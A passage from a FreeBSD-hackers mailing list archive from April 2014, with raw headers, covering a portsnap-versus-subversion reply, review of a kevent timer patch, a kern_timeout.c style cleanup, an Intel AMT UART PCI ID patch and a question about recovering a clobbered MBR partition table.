3432631450, 3432631451, 3432631452, 3432631453, 3432631454, 3432631455, $sudo geom label list aacd0s1d Geom name: aacd0s1d Providers: 1. Name: ufsid/4a08af657f7e3930 Mediasize: 4544528384 (4.2G) Sectorsize: 512 Stripesize: 0 Stripeoffset: 536903168 Mode: r0w0e0 secoffset: 0 offset: 0 seclength: 8876032 length: 4544528384 index: 0 Consumers: 1. Name: aacd0s1d Mediasize: 4544528384 (4.2G) Sectorsize: 512 Stripesize: 0 Stripeoffset: 536903168 Mode: r0w0e0 From owner-freebsd-hackers@FreeBSD.ORG Mon Apr 14 07:52:49 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 2DCA8B8D; Mon, 14 Apr 2014 07:52:49 +0000 (UTC) Received: from mail-oa0-x229.google.com (mail-oa0-x229.google.com [IPv6:2607:f8b0:4003:c02::229]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id DBDE41F7F; Mon, 14 Apr 2014 07:52:48 +0000 (UTC) Received: by mail-oa0-f41.google.com with SMTP id j17so8929426oag.0 for ; Mon, 14 Apr 2014 00:52:47 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; bh=Juw2lQM5BDBdH6dO52d8O093tHV/h/u8trMpYwtnpD4=; b=tVcK/rCSnVgHiYTVO2N1lo4POiVSGhON/xH1PSVVrgHre+qjdmAXYxxxeUcSB0aaH0 oLGnCF/awcSqMpoCZC+ZNGV5DezWsNzXP7nNcr7a7ZV5ahuLDt3iehv1q0/x2jjAKPz5 i30fa+7h2OjGgcu79slSmRWl4G7dlcHxfOH91sbg84sWrfSmbWWIQgyPGA/aLrnDwPVL GiM+RYga/+Kf88QX38/Eipn2Ew65Kes/ibtwbEpRX9BfOk90QgOesn4EoHVsYpeY1R4e EAv7yxFl1w/bwV/ZQTaIH42muNyFaefodis4lT+XgtaknlS6+3WeqByUUnGdeqcRQUyi g2kg== X-Received: by 10.60.55.97 with SMTP id r1mr33684212oep.5.1397461967547; Mon, 14 Apr 2014 00:52:47 -0700 (PDT) MIME-Version: 1.0 Received: by 10.76.173.129 with HTTP; Mon, 14 Apr 2014 00:52:27 -0700 (PDT) In-Reply-To: References: <20140411094620.78881cjb990bw8gc@webmail.ru.ac.za> <7a39fee1d8baee8029d01a13bcc4cce8.authenticated@ultimatedns.net> From: n j Date: Mon, 14 Apr 2014 09:52:27 +0200 Message-ID: Subject: Re: MITM attacks against portsnap and freebsd-update To: freebsd-hackers , FreeBSD Questions Mailing List X-Mailman-Approved-At: Mon, 14 Apr 2014 11:36:16 +0000 Content-Type: text/plain; charset=UTF-8 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 14 Apr 2014 07:52:49 -0000 On Fri, Apr 11, 2014 at 5:38 PM, David Noel wrote: > > I should have said "phased out" instead of "retired". > > Even if it was retired immediately users could still stay on whatever > release they were on; they'd only have to install subversion. > I was under the impression that portsnap was not there just because there was no svn in base, but also to make updating the ports more efficient - downloading a compressed archive and extracting it locally seems faster than checking out thousands of ports files (assume system is not updated regularly)? -- Nino From owner-freebsd-hackers@FreeBSD.ORG Mon Apr 14 17:18:47 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C6DCDC51; Mon, 14 Apr 2014 17:18:47 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 4EE11129A; Mon, 14 Apr 2014 17:18:47 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.8/8.14.8) with ESMTP id s3EHIZcm042940; Mon, 14 Apr 2014 20:18:35 +0300 (EEST) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s3EHIZcm042940 Received: (from kostik@localhost) by tom.home (8.14.8/8.14.8/Submit) id s3EHIYJW042939; Mon, 14 Apr 2014 20:18:34 +0300 (EEST) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Mon, 14 Apr 2014 20:18:34 +0300 From: Konstantin Belousov To: Baptiste Daroussin Subject: Re: [CFR] Kevent timer improvements Message-ID: <20140414171834.GJ4016@kib.kiev.ua> References: <20140310131632.GI6900@ithaqua.etoilebsd.net> <20140310180404.GI32089@funkthat.com> <20140413131550.GD17898@ivaldir.etoilebsd.net> <20140413142028.GD4016@kib.kiev.ua> <20140413191928.GE17898@ivaldir.etoilebsd.net> <20140413202038.GE4016@kib.kiev.ua> <20140414061936.GA60058@ivaldir.etoilebsd.net> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="poemUeGtc2GQvHuH" Content-Disposition: inline In-Reply-To: <20140414061936.GA60058@ivaldir.etoilebsd.net> User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: desrt@desrt.ca, John-Mark Gurney , "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 14 Apr 2014 17:18:47 -0000 --poemUeGtc2GQvHuH Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Apr 14, 2014 at 08:19:37AM +0200, Baptiste Daroussin wrote: > On Sun, Apr 13, 2014 at 11:20:38PM +0300, Konstantin Belousov wrote: > > On Sun, Apr 13, 2014 at 09:19:28PM +0200, Baptiste Daroussin wrote: > > > On Sun, Apr 13, 2014 at 05:20:28PM +0300, Konstantin Belousov wrote: > > > > On Sun, Apr 13, 2014 at 03:15:51PM +0200, Baptiste Daroussin wrote: > > > > > I have splitted my patch in multiple parts, let start with the fi= rst one: > > > > > adding NOTE_NSECONDS, NOTE_USECONDS, NOTE_NSECONDS > > > > >=20 > > > > > http://people.freebsd.org/~bapt/kevent_timer.diff > > > >=20 > > > [...] > > > > > + else if (flags & NOTE_NSECONDS) > > > > > + modifier =3D SBT_1NS; > > > > It is better to put the 'modifier =3D SBT_1MS;' statement as the el= se part. > > > >=20 > > > > That said, IMO it would be sometimes beneficial to have real flag to > > > > specify milliseconds precision, in addition to milliseconds be the > > > > default. > > >=20 > > > Done in the new patch > > > > > + > > > > > + timer2sbintime(kn->kn_sdata, kn->kn_sfflags), 0 /* 1ms? */, > > > > There, at least the comment about precision should be updated. > > > > But, it seems that for the seconds precision, it makes sense to > > > > specify e.g. 1/2 sec as precision; or add an API flag to allow impr= ecise > > > > callout scheduling. > > > >=20 > > > While I do agree this might be useful I do not have time to work on t= hat right > > > now so I just removed the comment which wasn't really accurate anyway. > > >=20 > > > Is that ok? > > Leave XXX comment right near the zero argument, at least ? > >=20 > > > + if (flags & NOTE_SECONDS) > > > + modifier =3D SBT_1S; > > > + else if (flags & NOTE_USECONDS) > > > + modifier =3D SBT_1US; > > > + else if (flags & NOTE_NSECONDS) > > > + modifier =3D SBT_1NS; > > > + else > > > + modifier =3D SBT_1MS; > > There should be a case for NOTE_MSECONDS. > >=20 > ok I'll do > > Hm, I think the checks should be made stronger. System should ensure > > that only one flag is passed, and no invalid flags are supplied, right ? >=20 > I can check that only one flags is passed and no invalid flagrs are suppl= ied but > from what I see not a single part of kqueue(2) is checking that, so won't= that > be inconsistent with the rest of the API? IMO we should move forward with the better practice. I consider the current lack of the checks as the deficiency, which hides the application bugs. See the RFTSIGNUM/RFTSIGFLAGS/RFTSIGMASK in unistd.h or VM_ALLOC_COUNT/VM_ALLOC_COUNT_SHIFT for the idiomatic way to handle similar needs. >=20 > I can probably check that only ona or 0 of the NOTE_*SECONDS is passed and > return EINVAL in that case but no more. >=20 > (note that more NOTE_* are to be added later) When added, the checks should be changed. --poemUeGtc2GQvHuH Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQIcBAEBAgAGBQJTTBhqAAoJEJDCuSvBvK1BDdsP/iLkwQTacAH8tXDbQj1Ue73p PtMKzGyjcmQ5LW8I5yUwoHg+zaL9VYUApmkE/aJ4lKL1btlyAPVJiQwwzDz43aMv I7Nhs9rpeRLWI6KlpB/cpJ8sRkAEB/nlrNmbou5hNEmFRp/wRi8nelOwpfULFsVP pzGZvAU4NaRU05/KFxP+zg0mvplA5pieJDzwYV/3dsi9wXih8FQTrWGpOnSoREnh zKFIHhjEgDDVmyj+6sfP1WL90bCqiCzTEvUxAv5MyNIUAQzjiHaIT4+PTm0MKQC4 E3mE9n+CD+Qn9A6qy+YHQiKpn5SV45mE5Kg6yAYP615NJbWEiJw4FLePaWkyQG/J nFFREydsxDfEDWnL2wmrllLkMbCMwj09Rkl2gFG3ggcgKXTLrpFjm1KEE/1/LkbK IaylvOolgL9XvWiZI7vEBGCwJMb9TrWuyNZWJ9GoMDNDuS0Z8vFhGaQw00gFR0/Z cSpqht6qmVGcs7WOtMSMvJ3ihXPNFfPw3N2LZ2PHbxtOhi+MH8mBjnaSYy2v9HB9 1vyRNg+nUR2ZU3mbQEtBKuYU2Tkkv1KPV8aquR7mrobRwzly1NpXQIeTZlRsIHOw olH9DDJ0oqNZiC9WR9+Cru7PXiE3dZLk5FEvTBt1xqpChsldYHR2d36g+Na8vhLG pOqwVe0WARJr6yDOqRzT =LcdI -----END PGP SIGNATURE----- --poemUeGtc2GQvHuH-- From owner-freebsd-hackers@FreeBSD.ORG Mon Apr 14 19:24:02 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 7D68B1E0 for ; Mon, 14 Apr 2014 19:24:02 +0000 (UTC) Received: from mail-wi0-x22e.google.com (mail-wi0-x22e.google.com [IPv6:2a00:1450:400c:c05::22e]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 0BE9A1147 for ; Mon, 14 Apr 2014 19:24:01 +0000 (UTC) Received: by mail-wi0-f174.google.com with SMTP id d1so4583688wiv.7 for ; Mon, 14 Apr 2014 12:23:59 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=sender:date:from:to:cc:subject:message-id:references:mime-version :content-type:content-disposition:in-reply-to:user-agent; bh=MKW341N4cNxkx5goxVNNkFm5twIbKKqlR0hEIbP6zbc=; b=WZiQDSPSP7NUBCEmWnw/RKFQNCy0TQw5Lp/GCOgAQy0pBys46Lbvx/uI3taxNAfa8M LNYV93P+a0wY9zrj1LvSSiziNcZi6zPs4T8Zq1GvSmmJ7mOIVJZrouHoDfGUdYnifxQ7 cAsdUBP2+pcg1sQgwyjLBUL8AWlRj0zUGFIMztFUrsFFlVTmZRAmpMuppFu8ynvvSbcU ui3xs6ZZpaJUETlnPTCYmaymRI3Qv3rcgvTEMcu5YSoUBrC/PnbpB/4w/MdhGlBHxYxj Pz6BLEO1HO6M9nTMKB6+1XOy923ud86C6Q1Nss+/Reh7rvYp+TdLKsvTMbAlPHl/Newz vNag== X-Received: by 10.194.174.42 with SMTP id bp10mr2974886wjc.57.1397503439517; Mon, 14 Apr 2014 12:23:59 -0700 (PDT) Received: from ivaldir.etoilebsd.net ([2001:41d0:8:db4c::1]) by mx.google.com with ESMTPSA id rx9sm26286612wjb.20.2014.04.14.12.23.57 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Mon, 14 Apr 2014 12:23:58 -0700 (PDT) Sender: Baptiste Daroussin Date: Mon, 14 Apr 2014 21:23:56 +0200 From: Baptiste Daroussin To: Konstantin Belousov Subject: Re: [CFR] Kevent timer improvements Message-ID: <20140414192356.GB37560@ivaldir.etoilebsd.net> References: <20140310131632.GI6900@ithaqua.etoilebsd.net> <20140310180404.GI32089@funkthat.com> <20140413131550.GD17898@ivaldir.etoilebsd.net> <20140413142028.GD4016@kib.kiev.ua> <20140413191928.GE17898@ivaldir.etoilebsd.net> <20140413202038.GE4016@kib.kiev.ua> <20140414061936.GA60058@ivaldir.etoilebsd.net> <20140414171834.GJ4016@kib.kiev.ua> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="cmJC7u66zC7hs+87" Content-Disposition: inline In-Reply-To: <20140414171834.GJ4016@kib.kiev.ua> User-Agent: Mutt/1.5.23 (2014-03-12) Cc: desrt@desrt.ca, John-Mark Gurney , "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 14 Apr 2014 19:24:02 -0000 --cmJC7u66zC7hs+87 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Apr 14, 2014 at 08:18:34PM +0300, Konstantin Belousov wrote: > On Mon, Apr 14, 2014 at 08:19:37AM +0200, Baptiste Daroussin wrote: > > On Sun, Apr 13, 2014 at 11:20:38PM +0300, Konstantin Belousov wrote: > > > On Sun, Apr 13, 2014 at 09:19:28PM +0200, Baptiste Daroussin wrote: > > > > On Sun, Apr 13, 2014 at 05:20:28PM +0300, Konstantin Belousov wrote: > > > > > On Sun, Apr 13, 2014 at 03:15:51PM +0200, Baptiste Daroussin wrot= e: > > > > > > I have splitted my patch in multiple parts, let start with the = first one: > > > > > > adding NOTE_NSECONDS, NOTE_USECONDS, NOTE_NSECONDS > > > > > >=20 > > > > > > http://people.freebsd.org/~bapt/kevent_timer.diff > > > > >=20 > > > > [...] > > > > > > + else if (flags & NOTE_NSECONDS) > > > > > > + modifier =3D SBT_1NS; > > > > > It is better to put the 'modifier =3D SBT_1MS;' statement as the = else part. > > > > >=20 > > > > > That said, IMO it would be sometimes beneficial to have real flag= to > > > > > specify milliseconds precision, in addition to milliseconds be the > > > > > default. > > > >=20 > > > > Done in the new patch > > > > > > + > > > > > > + timer2sbintime(kn->kn_sdata, kn->kn_sfflags), 0 /* 1ms? = */, > > > > > There, at least the comment about precision should be updated. > > > > > But, it seems that for the seconds precision, it makes sense to > > > > > specify e.g. 1/2 sec as precision; or add an API flag to allow im= precise > > > > > callout scheduling. > > > > >=20 > > > > While I do agree this might be useful I do not have time to work on= that right > > > > now so I just removed the comment which wasn't really accurate anyw= ay. > > > >=20 > > > > Is that ok? > > > Leave XXX comment right near the zero argument, at least ? > > >=20 > > > > + if (flags & NOTE_SECONDS) > > > > + modifier =3D SBT_1S; > > > > + else if (flags & NOTE_USECONDS) > > > > + modifier =3D SBT_1US; > > > > + else if (flags & NOTE_NSECONDS) > > > > + modifier =3D SBT_1NS; > > > > + else > > > > + modifier =3D SBT_1MS; > > > There should be a case for NOTE_MSECONDS. > > >=20 > > ok I'll do > > > Hm, I think the checks should be made stronger. System should ensure > > > that only one flag is passed, and no invalid flags are supplied, righ= t ? > >=20 > > I can check that only one flags is passed and no invalid flagrs are sup= plied but > > from what I see not a single part of kqueue(2) is checking that, so won= 't that > > be inconsistent with the rest of the API? > IMO we should move forward with the better practice. I consider the > current lack of the checks as the deficiency, which hides the application > bugs. >=20 > See the RFTSIGNUM/RFTSIGFLAGS/RFTSIGMASK in unistd.h or > VM_ALLOC_COUNT/VM_ALLOC_COUNT_SHIFT for the idiomatic way to handle > similar needs. I'll do thanks for tips! >=20 > >=20 > > I can probably check that only ona or 0 of the NOTE_*SECONDS is passed = and > > return EINVAL in that case but no more. > >=20 > > (note that more NOTE_* are to be added later) > When added, the checks should be changed. ok I'll come back with a better patch. regards, Bapt --cmJC7u66zC7hs+87 Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iEYEARECAAYFAlNMNcwACgkQ8kTtMUmk6ExLdgCgkKJGiy8YROs6SqBJkguSJY/e 0HwAnjM+WallTnWWchv3WOhfu2IWdI5H =lMPZ -----END PGP SIGNATURE----- --cmJC7u66zC7hs+87-- From owner-freebsd-hackers@FreeBSD.ORG Mon Apr 14 20:22:28 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 503E2267 for ; Mon, 14 Apr 2014 20:22:28 +0000 (UTC) Received: from mail-oa0-x22a.google.com (mail-oa0-x22a.google.com [IPv6:2607:f8b0:4003:c02::22a]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 1C32B16E4 for ; Mon, 14 Apr 2014 20:22:28 +0000 (UTC) Received: by mail-oa0-f42.google.com with SMTP id i4so9760889oah.15 for ; Mon, 14 Apr 2014 13:22:27 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=PXL6zfgFvJ0jHyh1VWWs1wwRl119tWJIb9Jc0qhgMoU=; b=Vx9FALx8jbyat0st+fVmAAplUGLgRKHVNjc6FkQED9zgeTTxvAvK7qaG62/5W2uMTb 3+ubH37piO6WKT2Pw1weQgircqF8m4UlsZ7/E3lwx+F6sH5m6KT9P4W8a+omlJ8v5eQW qUcfPkKfUaW6xxK6P4KbKDUYR+3DWclZfUdv8BWvTOlIFGDuBYvurZcRv+xt3GwQbDwW 6QE8rNgElj/bqo3G9Ovgwl+YvI+u/OB1yrYlx5WD1vpnQ8kohDfmSEy/+0cKkkGQcu0O xFI5cNiDZTpxk+iIORsZYBFZxJ5QyOIiNllna9dM6E7Yv641hggD7pwgCap+w1o9w16d bduQ== MIME-Version: 1.0 X-Received: by 10.182.40.201 with SMTP id z9mr3873122obk.45.1397506947380; Mon, 14 Apr 2014 13:22:27 -0700 (PDT) Received: by 10.182.18.239 with HTTP; Mon, 14 Apr 2014 13:22:27 -0700 (PDT) Date: Mon, 14 Apr 2014 13:22:27 -0700 Message-ID: Subject: cosmetic patch for kern_timeout.c From: Vijay Singh To: hackers@freebsd.org Content-Type: text/plain; charset=UTF-8 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 14 Apr 2014 20:22:28 -0000 I was messing around in this file, and decided to convert it to the new-style format: cyc@[/u/vijay/bsd/CODE/cur/sys/kern]# svn diff kern_timeout.c Index: kern_timeout.c =================================================================== --- kern_timeout.c (revision 264468) +++ kern_timeout.c (working copy) @@ -844,10 +844,7 @@ * identify entries for untimeout. */ struct callout_handle -timeout(ftn, arg, to_ticks) - timeout_t *ftn; - void *arg; - int to_ticks; +timeout(timeout_t *ftn, void *arg, int to_ticks) { struct callout_cpu *cc; struct callout *new; @@ -869,10 +866,7 @@ } void -untimeout(ftn, arg, handle) - timeout_t *ftn; - void *arg; - struct callout_handle handle; +untimeout(timeout_t *ftn, void *arg, struct callout_handle handle) { struct callout_cpu *cc; @@ -1055,9 +1049,7 @@ } int -_callout_stop_safe(c, safe) - struct callout *c; - int safe; +_callout_stop_safe(struct callout *c, int safe) { struct callout_cpu *cc, *old_cc; struct lock_class *class; @@ -1229,9 +1221,7 @@ } void -callout_init(c, mpsafe) - struct callout *c; - int mpsafe; +callout_init(struct callout *c, int mpsafe) { bzero(c, sizeof *c); if (mpsafe) { @@ -1245,10 +1235,7 @@ } void -_callout_init_lock(c, lock, flags) - struct callout *c; - struct lock_object *lock; - int flags; +_callout_init_lock(struct callout *c, struct lock_object *lock, int flags) { bzero(c, sizeof *c); c->c_lock = lock; @@ -1280,8 +1267,7 @@ * 2 days. Your milage may vary. - Ken Key */ void -adjust_timeout_calltodo(time_change) - struct timeval *time_change; +adjust_timeout_calltodo(struct timeval *time_change) { register struct callout *p; unsigned long delta_ticks; From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 15 07:59:29 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C95C6AFA for ; Tue, 15 Apr 2014 07:59:29 +0000 (UTC) Received: from elf.torek.net (50-73-42-1-utah.hfc.comcastbusiness.net [50.73.42.1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 9AB1018A3 for ; Tue, 15 Apr 2014 07:59:28 +0000 (UTC) Received: from elf.torek.net (localhost [127.0.0.1]) by elf.torek.net (8.14.5/8.14.5) with ESMTP id s3F7hOA5059711 for ; Tue, 15 Apr 2014 01:43:24 -0600 (MDT) (envelope-from torek@torek.net) Message-Id: <201404150743.s3F7hOA5059711@elf.torek.net> From: Chris Torek To: freebsd-hackers@freebsd.org Subject: Intel AMT UART Date: Tue, 15 Apr 2014 01:43:24 -0600 X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.4.3 (elf.torek.net [127.0.0.1]); Tue, 15 Apr 2014 01:43:24 -0600 (MDT) X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 15 Apr 2014 07:59:29 -0000 The change below enables the UART on some Intel boards with AMT support (others, as shown by the value right above it, are already enabled). (The correct author for credit is Tony Li) Chris diff --git a/sys/dev/uart/uart_bus_pci.c b/sys/dev/uart/uart_bus_pci.c --- a/sys/dev/uart/uart_bus_pci.c +++ b/sys/dev/uart/uart_bus_pci.c @@ -114,6 +114,7 @@ static const struct pci_id pci_ns8250_id { 0x14e4, 0x4344, 0xffff, 0, "Sony Ericsson GC89 PC Card", 0x10}, { 0x151f, 0x0000, 0xffff, 0, "TOPIC Semiconductor TP560 56k modem", 0x10 }, { 0x8086, 0x1c3d, 0xffff, 0, "Intel AMT - KT Controller", 0x10 }, +{ 0x8086, 0x1d3d, 0xffff, 0, "Intel AMT - C600/X79 series chipset KT Controller", 0x10 }, { 0x8086, 0x2e17, 0xffff, 0, "4 Series Chipset Serial KT Controller", 0x10 }, { 0x8086, 0x3b67, 0xffff, 0, "5 Series/3400 Series Chipset KT Controller", 0x10 }, From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 15 11:10:35 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id CC917685 for ; Tue, 15 Apr 2014 11:10:35 +0000 (UTC) Received: from mailhost.m5p.com (ip-2-1-0-2.r03.asbnva02.us.ce.gin.ntt.net [IPv6:2001:418:0:5000::16]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 6E5521B4B for ; Tue, 15 Apr 2014 11:10:35 +0000 (UTC) Received: from summer.m5p.com (localhost [IPv6:::1]) by mailhost.m5p.com (8.14.5/8.14.5) with ESMTP id s3FBAQPS043258 for ; Tue, 15 Apr 2014 07:10:31 -0400 (EDT) (envelope-from george+freebsd@m5p.com) Message-ID: <534D13A2.9000706@m5p.com> Date: Tue, 15 Apr 2014 07:10:26 -0400 From: George Mitchell User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Clobbered MBR partition table Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.73 on 10.100.0.3 X-Greylist: Sender passed SPF test, not delayed by milter-greylist-4.2.7 (mailhost.m5p.com [IPv6:::1]); Tue, 15 Apr 2014 07:10:32 -0400 (EDT) X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 15 Apr 2014 11:10:35 -0000 My laptop has a hard disk I partitioned, whoops, I mean sliced, into four slices when I installed 8.2-STABLE on it a couple of years ago. The first, third, and fourth slices I reserved for future experiments, and most of the space went into the second slice where I installed 8.2-STABLE. Time went on and the second slice is currently running 9.2-STABLE, and I installed 10.0-PRERELEASE on the first slice late last year. But mostly I have been booting off the second slice, which means pressing enter at the initial F1/F2/F3/F4 boot prompt. Then last Friday I was preparing to update the first slice to the latest 10.0-STABLE. Things were going well until I rebooted and typed F1 at the boot prompt. I immediately got a second prompt offering me the options of second disk or PXE. At this point the machine was unbootable, as whatever I typed would cycle between the F1/F2/F3/F4 alternatives and the second disk/PXE alternatives. I hit ctrl-alt-delete and got told there was no bootable disk. So I got a new disk and plugged in into the laptop and started over again. (My first attempt was with a 10.0-RELEASE memstick image, but that's a subject for another day.) Out of conservatism, I have installed 8.4-STABLE on the new disk. Then the first thing I did was to hook up the old disk through a USB adapter and dump it with dd to a backup image. That's going to be finished in a couple of hours, at which point I hope to poke around on the old disk and repair what I assume is a clobbered master boot record partition table. My question is: What's the best tool to help reconstruct the partition table? I think my problem will be mostly solved if I can find the BSD labels on the old disk (which, by the way, has not exhibited any I/O errors during the "dd" backup process). Do BSD labels have a recognizable signature? Thanks for your help and attention. -- George From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 15 13:02:10 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id BFDE4D85 for ; Tue, 15 Apr 2014 13:02:10 +0000 (UTC) Received: from mail.0x20.net (mail.0x20.net [217.69.76.211]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 7CB7917AB for ; Tue, 15 Apr 2014 13:02:09 +0000 (UTC) Received: from e-new.0x20.net (mail.0x20.net [IPv6:2001:aa8:fffb:1::3]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mail.0x20.net (Postfix) with ESMTPS id 4C7EE6A600D; Tue, 15 Apr 2014 15:02:07 +0200 (CEST) Received: from e-new.0x20.net (localhost [127.0.0.1]) by e-new.0x20.net (8.14.7/8.14.7) with ESMTP id s3FD26pT070489; Tue, 15 Apr 2014 15:02:07 +0200 (CEST) (envelope-from lars@e-new.0x20.net) Received: (from lars@localhost) by e-new.0x20.net (8.14.7/8.14.7/Submit) id s3FD264n069412; Tue, 15 Apr 2014 15:02:06 +0200 (CEST) (envelope-from lars) Date: Tue, 15 Apr 2014 15:02:06 +0200 From: Lars Engels To: George Mitchell Subject: Re: Clobbered MBR partition table Message-ID: <20140415130206.GE37706@e-new.0x20.net> References: <534D13A2.9000706@m5p.com> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="6e7ZaeXHKrTJCxdu" Content-Disposition: inline In-Reply-To: <534D13A2.9000706@m5p.com> X-Editor: VIM - Vi IMproved 7.4 X-Operation-System: FreeBSD 8.4-RELEASE-p4 User-Agent: Mutt/1.5.23 (2014-03-12) Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 15 